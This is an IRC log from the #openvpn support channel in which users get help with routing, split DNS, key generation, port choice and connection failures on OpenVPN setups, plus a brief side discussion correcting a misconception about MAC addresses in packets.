10:45 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
10:50 < Aketzu> darkapp: do you even know how your hardware address can leak when connecting without any VPN?
10:57 < lupine> I'm assuming he means MAC address
10:58 < darkapp> Aketzu: well according to my networking professor its sent in every packet header
10:59 < darkapp> lupine: yes mac address is hardware adress
10:59 < darkapp> afaik
10:59 < Kuba> Aketzu: I can't seem to get it working: http://pastebin.com/raw.php?i=acLrAmGS
10:59 < lupine> then you need to look out for malicious client-side code, including in-browser stuff, and IPv6 SAC addresses
10:59 < Kuba> Aketzu: I'm able to ping client -> server; but not the other way round
10:59 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:59 < lupine> but you should be fine, honestly
11:00 < Kuba> Aketzu: ie. I can't ping 10.0.10.10 from server
11:00 < darkapp> lupine: not malicious per say, according to said networkin professor, its just in every header of every packet, same aa my ip
11:01 < lupine> mac addresses go in ethernet frame headers, not packet headers
11:01 < lupine> well, with a few caveats that aren't worth talking about
11:01 < lupine> those ethernet frames will be stripped off by your router and (probably) replaced with new ones with the router's source mac
11:02 < darkapp> lupine: if u dont mind be asking, are u someone who can confidently answer this question or preferably an authority in the online privacy world
11:02 < Kuba> hahaha
11:02 < lupine> I'm bruce schneier in disguise
11:02 < lupine> don't tell anyone
11:03 < darkapp> lol idk him
11:03 < darkapp> !staff
11:03 < lupine> then you're not really in a position to be able to evaluate whether I'm an authority or not
11:03 < MacGyver> Ah, appeal to authority! The best kind of fallacy.
11:04  * MacGyver sniggers.
11:04 < MacGyver> darkapp: Maybe it would help if you explained why you need the answer.
11:04 < Skapare> authority?  trust but verify
11:04 < Skapare> well, maybe not trust
11:04 < MacGyver> darkapp: The way you're asking it sounds like you're doing homework and need (scientific) literature to back up any claims.
11:04 < lupine> as it happens, I'm currently serving the role of speaking textbook
11:05 < lupine> go pull one out of your bookshelf and check
11:05 < darkapp> MacGyver: because i believe in online privacy
11:06 < darkapp> and tbh peerreviewed scientific articles are the best source
11:06 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Ping timeout: 245 seconds]
11:10 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
11:14 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
11:14 -!- JackWinter [~jack@vodsl-9812.vo.lu] has quit [Quit: ZNC - http://znc.in]
11:16 -!- JackWinter [~jack@vodsl-9812.vo.lu] has joined #openvpn
11:22 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Operation timed out]
11:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:26 < altermann> hi there, i've been trying for a few days to setup openvpn on 2 tomato routers to no avail
11:26 < altermann> basically one router has an ip address 192.168.1.254 which i assume qualifies the subnet as 192.168.1.0, is that right?
11:27 < altermann> and the other router has an ipv4 class A, 10.1.1.254 which qualifies the subnet as being 10.1.1.0
11:33 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:52 < Aketzu> Kuba: the server also needs "same" route modifications
11:55 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 240 seconds]
11:59 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
12:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:07 < byon> hey novaflash!
12:07 < byon> i dont know if u remember me
12:07 < byon> !staff
12:16 < Kuba> Aketzu: "same"?
12:16 < Kuba> Aketzu: well, I found a solution: assign same IP for wlan0 and tap0 and set high metric for tap0
12:17 < Kuba> Aketzu: so when I'm home it uses wlan0
12:17 < Kuba> Aketzu: when I'm off site, it uses tap0
12:17 < Kuba> :)
12:18 < Kuba> Aketzu: I'm not sure though if it is theoretically valid and whether there is no better solution
12:25 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:26 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Ping timeout: 245 seconds]
12:28 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has joined #openvpn
12:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:54 -!- b00b [~spunk@smurf.mmnetworks.se] has quit [Ping timeout: 248 seconds]
12:57 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds]
12:59 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
13:00 -!- altermann [~none@184.69.128.118] has left #openvpn ["Leaving"]
13:43 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has joined #openvpn
13:43 < cornfeedhobo> anyone know if you can use pgp pub keys inplace of ssl in openvpn??
13:43 < cornfeedhobo> or rather, if the matter has ever been looked at?
13:44 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Remote host closed the connection]
13:44 -!- hjohnson [~hans@99.199.163.30] has joined #openvpn
13:48 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:55 -!- byon2 [~uoqp@103.1.136.211] has joined #openvpn
13:57 -!- byon [uoqp@103.1.136.211] has quit [Ping timeout: 256 seconds]
13:59 -!- byon2 [~uoqp@103.1.136.211] has quit [Ping timeout: 264 seconds]
14:11 -!- Briareos1 [~quassel@46.19.139.182] has joined #openvpn
14:14 -!- FunkyELF [~FunkyELF@99-36-189-64.lightspeed.chrlnc.sbcglobal.net] has quit [Quit: Leaving]
14:19 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
14:20 -!- mattock is now known as mattock_afk
14:23 -!- p3rror [~mezgani@41.249.33.244] has joined #openvpn
14:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
14:34 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
14:36 -!- Airwave [~Airwave@94.246.37.45] has joined #openvpn
14:37 < Airwave> Hey. I've set up a site-to-site VPN with OpenVPN, and it's working very nicely. There's only one thing I'm missing, and that's DNS.
14:37 < Airwave> Router 1 is running as the server and has the subnet 10.0.1.0/24 and the domain foo.lan. Router 2 is running as the client and has the subnet 10.0.2.0/24 and the domain bar.lan.
14:38 < Airwave> How can I set it up so that clients on Router 1's net use router 2 as the DNS for bar.lan, and vice versa the other way around?
14:39 < Airwave> Or maybe that router 1's DNS server queries router 2's DNS server for bar.lan, and vice versa the other way around.
14:41 < Aketzu> the latter option (changing dns server configs) is probably easier
14:41 < Aketzu> bind has "forward" domains
14:41 < Airwave> I'm using dnsmasq.
14:43 < Aketzu> "if you have a nameserver on your network which deals with names of the form xxx.internal.thekelleys.org.uk at 192.168.1.1 then giving the flag -S /internal.thekelleys.org.uk/192.168.1.1 will send all queries for internal machines to that nameserver"
14:44 < Airwave> Aketzu: Thank you.
14:44 < Airwave> I'll try toying around with that.
14:51 <@krzee> !splitdns
14:51 <@vpnHelper> "splitdns" is see http://www.thekelleys.org.uk/dnsmasq/doc.html for dnsmasq, which will let you do split-dns setups
14:51 -!- darkapp [~dark@unaffiliated/darkapp] has quit [Ping timeout: 248 seconds]
14:52 < Airwave> krzee: Working on it now. I've got it working one way.
14:53 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
14:56 < Airwave> How odd. Router 2 is refusing to answer DNS queries on its own domain when router 1 is asking.
14:57 < Airwave> It answers when asked for anything else, like gnu.org.
14:57 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
14:57 -!- lord4163 [~lord4163@81-232-61-81-no226.tbcn.telia.com] has joined #openvpn
14:57 < lord4163> Hello
14:57 -!- esde|sleep [~esde@unaffiliated/esde] has quit [Ping timeout: 264 seconds]
14:57 < Airwave> It just times out.
14:58 < lord4163> I set up OpenVPN on my Raspberry Pi, but it is really slow opening an image on Facebook takes really long. What can I do to improve it, like disabling compression?
15:00 < Aketzu> are you sure it's the openvpn that is causing slowness?
15:01 < Airwave> Aketzu, krzee: Got it! Thanks so much!
15:01 < lord4163> Aketzu: yes, poptop was much faster, I mean images take like a > minute to load.
15:02 < Aketzu> is it that loading itself takes ages or starting the download
15:02 < Aketzu> i.e. is it trying to access fb somehow it just cannot due to routing issues etc.
15:03 < Airwave> Bye guys. Thanks again for the help.
15:03 < lord4163> Aketzu: I don't know :-(
15:03 < lord4163> Aketzu: How can I disable the compression?
15:03 <@krzee> !comp
15:03 <@vpnHelper> "comp" is if you see Bad LZO decompression header you have a mis-match in your comp-lzo settings. You need to be sure you have the same setting in all configs for comp-lzo, or that you dont have it in any configs.
15:03 <@krzee> see comp-lzo in the manual
15:05 < lord4163> So I just delete comp-lzo from my config?
15:05 <@krzee> no
15:05 <@krzee> !man
15:05 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
15:05 <@krzee> you read the option in the manual
15:06 < lord4163> --comp-noadapt
15:07 <@krzee> umm no
15:07 <@krzee> its in the option i told you to read
15:07 <@krzee> if it was that option i would not have said to read the other one
15:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:15 -!- darkapp [~dark@unaffiliated/darkapp] has joined #openvpn
15:26 -!- Airwave [~Airwave@94.246.37.45] has left #openvpn []
15:32 -!- sander__ [~sander@58.82.9.46.customer.cdi.no] has quit [Ping timeout: 256 seconds]
15:32 < lord4163> krapper: ?
15:33 < lord4163> krzee: ?
15:33 < lord4163> The client isn't downloading just uploading packets, don't know what's wrong :-(
15:34 < lord4163> I followed this guide http://raspberrypihelp.net/tutorials/1-openvpn-server-tutorial
15:34 <@vpnHelper> Title: Raspberry Pi OpenVPN Server Tutorial (at raspberrypihelp.net)
15:38 < lord4163> someone?
15:39 <@krzee> !redirect
15:39 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
15:39 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
15:39 <@krzee> !walkthrough
15:39 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
15:42 <@krzee> if you EVER see "chmod -R 777 " in a website, close the website
15:42 <@krzee> bbl
15:43 < lord4163> krzee: lol :P
15:44 < lord4163> Well it's hard to troubleshoot from that stupid phone
15:48 -!- mist__ [~mist@c-74fa70d5.034-4-67626721.cust.bredbandsbolaget.se] has quit [Ping timeout: 240 seconds]
15:56 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
16:01 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
16:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:03 -!- Briareos1 [~quassel@46.19.139.182] has quit [Remote host closed the connection]
16:05 -!- crumb [crumb@gateway/shell/cadoth.co/x-faythbcadtbbbtzj] has joined #openvpn
16:06 -!- crumb [crumb@gateway/shell/cadoth.co/x-faythbcadtbbbtzj] has left #openvpn []
16:14 -!- nobit [nobit@unaffiliated/muska] has quit [Ping timeout: 240 seconds]
16:16 -!- nobit [nobit@unaffiliated/muska] has joined #openvpn
16:21 -!- mist__ [~mist@c-74fa70d5.034-4-67626721.cust.bredbandsbolaget.se] has joined #openvpn
16:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:30 -!- dermoth [6d974ed3@gateway/web/cgi-irc/kiwiirc.com/ip.109.151.78.211] has joined #openvpn
16:30 -!- dermoth is now known as dermoth1
16:30 < dermoth1> !welcome
16:30 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
16:30 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:31 < dermoth1> !howto
16:31 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:31 -!- nitram__ [~quassel@99-188-181-151.lightspeed.mmphtn.sbcglobal.net] has quit [Remote host closed the connection]
16:32 < dermoth1> !logs
16:32 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:34 < dermoth1> !goal
16:34 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
16:34 < dermoth1> GOAL - trying to set up openVPN on a VPS
16:34 < dermoth1> PROBLEM - described in forum here - https://forums.openvpn.net/post33267.html?hilit=clientkeys#p33267
16:35 <@vpnHelper> Title: OpenVPN Support Forum Nice, confused noob needs help (both waving and drowning) : Forum & Website Support (at forums.openvpn.net)
16:36 < dermoth1> SUPPLEMENTARY - would be almost embarrassingly grateful if someone could solve my probably very stupid problem
16:36 -!- lord4163 [~lord4163@81-232-61-81-no226.tbcn.telia.com] has quit [Quit: lord4163]
16:41 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
16:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:50 < maskedlua> um... I did a !goal yesteday, and this question is related but may not be the proper place for it, could I have a routing table per device?
16:53 -!- MMlosh [~MMlosh@2001:470:6f:23:e9d1:7175:3137:3709] has joined #openvpn
16:56 < MMlosh> Hello.. could anyone recommend me a good tutorial/explanation for setting up an openvpn server and client?  All I found so far was rather crappy
17:03 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
17:14 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
17:19 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:24 -!- dermoth1 [6d974ed3@gateway/web/cgi-irc/kiwiirc.com/ip.109.151.78.211] has quit [Quit: http://www.kiwiirc.com/ - A hand crafted IRC client]
17:25 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
17:28 -!- p3rror [~mezgani@41.249.33.244] has quit [Quit: Leaving]
17:45 -!- p3rror [~mezgani@41.249.33.244] has joined #openvpn
17:54 -!- dimitry7 [~antonello@38.124.174.31] has joined #openvpn
18:07 -!- sander__ [~sander@58.82.9.46.customer.cdi.no] has joined #openvpn
18:34 -!- maskedlua is now known as idiotaenmascarad
18:34 -!- idiotaenmascarad is now known as maskedlua
18:38 -!- p3rror [~mezgani@41.249.33.244] has quit [Ping timeout: 268 seconds]
18:43 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
18:59 -!- smw [~smw@unaffiliated/smw] has joined #openvpn
18:59 < smw> Hi all, is there a way to have openvpn try to reconnect whenever it loses connection
18:59 < smw> every time I restart openvpn on my gateway, all my client's vpns shutdown
19:00 < smw> I would like some sort of reconnect
19:35 < smw> Anyone know what to do if your ifconfig-pool-persist isn't getting filled? It is created, but remains empty
19:36 < smw> I am using the line ifconfig-pool-persist /etc/openvpn/ifconfig-pool.txt 10
19:36 < smw> the text file was created even when it didn't exist before
19:46 -!- smw [~smw@unaffiliated/smw] has quit [Remote host closed the connection]
19:49 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 260 seconds]
19:51 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:59 -!- dr_Casper [~ircap@209-203-71-82.static.twtelecom.net] has joined #openvpn
19:59 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
20:00 < dr_Casper> hi guys.. i want to know if it's possible to setup Openvpn to have access to a specific vlan from the outside world? i've made a vlan that houses an esxi lab, and i would like to be able to remote in from somewhere else
20:00 < dr_Casper> i would like to keep all other home computers and devices safe from the outside world (as much as i can anyway)
20:00 < dr_Casper> i have openvpn running on a tomato asus n16 routers
20:00 < altermann> hi there, i have setup a simple openvpn tunnel between 2 routers but i can only access the 2 routers with their local ip addresses even though i've routed the 2 networks
20:01 < altermann> dr_Casper: what a coincidence, i've got vpn setup on two rt-n16's as well
20:01 < dr_Casper> which flavor of firmware did you flash ?
20:02 < altermann> easy tomato
20:02 < dr_Casper> i got the toastman
20:03 < altermann> ah
20:03 < altermann> i've followed these 2 guides: http://clevarme.blogspot.ca/2010/04/bridge-two-home-networks-using-openvpn.html?showComment=1379721137001#c7477115282350919364 and http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
20:03 <@vpnHelper> Title: Clevar Me: Bridge two home networks using OpenVPN and Tomato (at clevarme.blogspot.ca)
20:04 < dr_Casper> well, we have two different projects tho . i'm not trying to do site to site
20:04 < altermann> so i order to access multiple computers on either lan you need to setup vlans?
20:04 < altermann> i see what you mean
20:05 < dr_Casper> no.. vlan is kind of like a network segregation .. where you can have two different subnets or more and group computers in individual-but-separate groups
20:05 < dr_Casper> (that's my understandng)
20:05 < dr_Casper> there are ways to jump from one subnet to another btw.. but again, my project is diff than yours :)
20:05 < altermann> indeed
20:06 < altermann> so what am i missing, open ports on the router?
20:06 < altermann> i can't figure it out
20:07 < dr_Casper> im a n00b tbh.. you would want to ask someone in #tomato or #dd-wrt
20:07 < altermann> they're not much help
20:07 < altermann> :)
20:07 < altermann> dead channels from what i've seen
20:09 < dr_Casper> yeah but is worth a try
20:09 < dr_Casper> eitehr that, or post on boards
20:11 < altermann> will do
20:15 -!- s3ction [~s3ction@65.94.59.161] has joined #openvpn
20:15 -!- funky [~funky@gprs-inet-65-23.elisa.ee] has joined #openvpn
20:16 -!- Gasseus is now known as Rallias
20:16 < funky> hey folks
20:16 < s3ction> hey
20:16 < funky> I am following road warrior tutorial and 1 comman does not work yet
20:16 < funky> root@host:/etc/openvpn/easy-rsa/keys# openvpn -genkey -secret ta.key
20:16 < funky> Options error: I'm trying to parse "-genkey" as an --option parameter but I don't see a leading '--'
20:16 < funky> when I try add --
20:17 < funky> root@host:/etc/openvpn/easy-rsa/keys# openvpn --genkey -secret ta.key
20:17 < funky> Options error: You must define shared secret output file (--secret)
20:17 < funky> thats the tutorial i use http://www.slsmk.com/installing-openvpn-on-ubuntu-server-12-04-using-tun/
20:17 <@vpnHelper> Title: Installing OpenVPN on Ubuntu Server 12.04 using TUN | Super Library of Solutions (at www.slsmk.com)
20:18 < funky> any ideas what I am have to do right at this stage?
20:18 < funky> what for it needs shared secret output file?
20:21 < s3ction> Got a linux policy routing + openvpn question: External Server connected as openvpn client but I still need access to the external server IP even though it is a fully routed configuration.
20:21 < s3ction> found this article https://bbs.archlinux.org/viewtopic.php?id=151870
20:21 <@vpnHelper> Title: [SOLVED] Routing problems with ssh server and openvpn client (Page 1) / Networking, Server, and Protection / Arch Linux Forums (at bbs.archlinux.org)
20:21 < s3ction> which lead to https://forum.linode.com/viewtopic.php?t=8737
20:21 <@vpnHelper> Title: Linode Forum :: View topic - OpenVPN client connected to a server while listening to SSH? (at forum.linode.com)
20:22 < s3ction> haha
20:22 < s3ction> Still nope
20:22 < s3ction> ip rule add from x.x.x.x table 128
20:22 < s3ction> ip route add table 128 to y.y.y.y/y dev ethX
20:22 < s3ction> ip route add table 128 default via z.z.z.z
20:23 < s3ction> Those lines are essentially what I used on the server and oddly it still is not working. I cannot access the server while the tunnel is up.
20:23 < s3ction> Any alternative options?
20:29 -!- gwillen [~gwillen@unaffiliated/gwillen] has joined #openvpn
20:29 -!- gwillen [~gwillen@unaffiliated/gwillen] has left #openvpn []
20:29 -!- raidz is now known as raidz_away
20:34 < funky> hehe maybe its party time
20:34 < funky> and many are busy in club
20:35 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
20:38 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
20:39 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Excess Flood]
20:40 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
20:47 -!- rhagu1 [~rhagu@dslb-088-065-055-105.pools.arcor-ip.net] has joined #openvpn
20:47 < rhagu1> hi, I am about to set up a openvpn server behind a firewall, should I use the default port, or is it more secure to use a different one?
20:48 < altermann> i'm using the default
20:48 < altermann> some people say that if you're not using the https port (443) for anything else, then use that one
20:51 < rhagu1> I use it, so I guess it will be standard
20:57 -!- altermann_ [~none@S0106001a92ebc516.vs.shawcable.net] has joined #openvpn
20:57 -!- altermann_ [~none@S0106001a92ebc516.vs.shawcable.net] has quit [Client Quit]
20:59 -!- altermann [~none@S0106001a92ebc516.vs.shawcable.net] has quit [Ping timeout: 240 seconds]
21:13 -!- s3ction [~s3ction@65.94.59.161] has quit [Disconnected by services]
21:14 < rhagu1> I just ran into this issue, what can I do? http://pastebin.com/ExAW6Q0q
21:24 -!- dimitry7 [~antonello@38.124.174.31] has quit [Ping timeout: 260 seconds]
21:35 < ljvb> ifco
21:35 < ljvb> oops
21:40 -!- rhagu1 [~rhagu@dslb-088-065-055-105.pools.arcor-ip.net] has quit [Ping timeout: 248 seconds]
21:52 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 256 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:15 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-hqbfrfchrqjzgbny] has quit [Ping timeout: 252 seconds]
22:21 -!- funky [~funky@gprs-inet-65-23.elisa.ee] has quit [Quit: Leaving.]
22:39 -!- Milos [~Milos@60-234-198-177.bitstream.orcon.net.nz] has quit [Read error: Connection reset by peer]
23:18 -!- lbft [~lbft@unaffiliated/lbft] has quit [Quit: Bye]
23:21 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
23:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:30 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
23:33 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
23:33 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has quit [Read error: Connection reset by peer]
23:35 -!- Sazpaimon [wat@96.227.217.235] has joined #openvpn
--- Day changed Sat Sep 21 2013
00:05 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:14 -!- sander__ [~sander@58.82.9.46.customer.cdi.no] has quit [Ping timeout: 245 seconds]
00:17 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Quit: leaving]
00:28 -!- sander__ [~sander@58.82.9.46.customer.cdi.no] has joined #openvpn
00:31 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Connection reset by peer]
00:32 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
00:34 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
01:20 -!- levifig [~levifig@hakr.io] has quit [Ping timeout: 240 seconds]
01:20 -!- dfresha [krapper@territory.krapper.net] has joined #openvpn
01:20 -!- krapper [krapper@territory.krapper.net] has quit [Ping timeout: 240 seconds]
01:20 -!- sauce [~sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
01:21 -!- aegis [~aegis@184.75.223.34] has quit [Ping timeout: 246 seconds]
01:22 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
01:23 -!- levifig [~levifig@hakr.io] has joined #openvpn
01:43 -!- master_of_master [~master_of@p4FD7B498.dip0.t-ipconnect.de] has joined #openvpn
01:46 -!- master_o1_master [~master_of@p4FD7BDB5.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
02:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
02:09 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
02:17 < Aelius> anyone awake
02:18 < Aelius> i have a few questions. to start- pushing a static ip
02:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:19 < Aelius> route 10.8.0.0 255.255.255.252
02:19 < Aelius> is given in the example
02:19 < Aelius> but... what is the 252?
02:19 < Aelius> then
02:19 < Aelius> add this line to ccd/Thelonious:
02:19 < Aelius> #   ifconfig-push 10.9.0.1 10.9.0.2
02:20 < Aelius> what is that second ip?
02:22 < Aelius> next... im running a tap network, and on windows i want the virtual device to have a gateway. if it doesnt, then windows wont recognize the network and gets the bad end of windows firewall
02:22 < Aelius> is there a way to push the gateway setting?
02:23 < Aelius> related:i have two instances of openvpn on the server
02:23 < Aelius> client and server
02:24 < Aelius> should i not be doing that? should the server be inherently a part of the network?
02:24 < Aelius> it doesnt seem to be
02:25 < Aelius> now, the gateway i mentioned eaelier. i manually set it to the real external ip of the server. can it be set to the openvpn ip?
02:25 < Aelius> should it, rather?
02:43 -!- Librentez [~Librentez@193.254.230.222] has joined #openvpn
02:53 < Librentez> Hi !
02:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
02:57 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 245 seconds]
02:59 < Librentez> I use OpenVPN for a few years on public wifi or networks. I recently got a new internet connection and I can't connect to my OpenVPN anymore. My OpenVPN is running on port 443 (TCP).
02:59 < Librentez> here are the server and client logs : http://pastebin.com/b7gxW2S8
03:00 < Librentez> And to finish, yes I'm not a native English, sorry...
03:02 < [ilin]> Librentez, do you have anything else running on the same server on port tcp/443?
03:02 < [ilin]> maybe a web server?
03:08 < Librentez> no (I don't think so) : http://pastebin.com/yPqL9dCc
03:16 -!- gallatin [~gallatin@dslb-084-058-109-042.pools.arcor-ip.net] has joined #openvpn
03:16 < [ilin]> Librentez, can you run tcpdump -n tcp and port 443
03:16 < [ilin]> on you openvpn server
03:16 < [ilin]> and try to connect from your client. do you see any packets?
03:16 < [ilin]> and if you can paste somewhere the config files of the server and client it would be helpful
03:21 < Librentez> server conf : http://pastebin.com/8JYgJP9f
03:22 < Librentez> client conf : http://pastebin.com/V6jMeb2J
03:22 < Librentez> TcpDump : http://pastebin.com/WzpNmapd (sorry it's not easy to read)
03:22 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
03:23 < Librentez> But I used this Openvpn server for months,  but since my "ISP" changed, I can't connect anymore
03:25 < [ilin]> Librentez, so the ISP on the server side changed? or on your client side?
03:26 < Librentez> client side, I use my OpenVPN for "road warriors", often on public wifi and internet accesses
03:26 < [ilin]> Do you see your client IP in the tcpdump output?
03:27 < Librentez> yes
03:27 < [ilin]> do you see anything relevant in the openvpn log ?
03:28 < [ilin]> i guess not...-
03:28 < [ilin]> could you try and change the port and protocol on your openvpn server?
03:28 < [ilin]> this problems started when you changed your ISP right?
03:28 < [ilin]> maybe that is the issue
03:29 < Librentez> Yes that's the point
03:29 < [ilin]> Librentez, try another port and protocol
03:34 < Librentez> Okay, on UDP 1194 it works
03:34 < Librentez> thank's [ilin]
03:35 < Librentez> I though that the most efficient was on TCP 443... but maybe not
03:35 < [ilin]> Librentez, you are welcome...
03:35 < [ilin]> efficient ... it depends
03:36 < Librentez> What would you choose for road warriors ?
03:36 < [ilin]> you can run two openvpn servers tcp/443 and udp/1194 for example
03:37 < [ilin]> and have one client config file with two <connection> sections
03:37 < Librentez> okay, thank's
03:37 < [ilin]> if the road warriors only need to access resources from the hq
03:37 < [ilin]> then, this would be enough
03:38 < Librentez> okay, thank's
03:56 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
03:57 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
03:58 -!- mode/#openvpn [+v s7r] by ChanServ
03:58 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
04:01 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:02 -!- gallatin [~gallatin@dslb-084-058-109-042.pools.arcor-ip.net] has quit [Ping timeout: 248 seconds]
04:07 < Librentez> Thank's again [ilin], let's conf that !
04:07 < Librentez> have a good day
04:07 -!- Librentez [~Librentez@193.254.230.222] has quit [Quit: Leaving]
04:18 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 248 seconds]
04:24 < lupine>  Data Channel Encrypt: Cipher 'BF-CBC' initialized with 128 bit key
04:24 < lupine> presumably, I can do better
04:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:34 < lupine> also, I'm struggling to use server mode with /30s and tun devices
04:38 < lupine> Data Channel Encrypt: Cipher 'AES-256-CBC' initialized with 256 bit key \o/
05:08 -!- troyt [~troyt@2601:7:6d00:432:a0e3:55ff:fe41:4561] has quit [Ping timeout: 260 seconds]
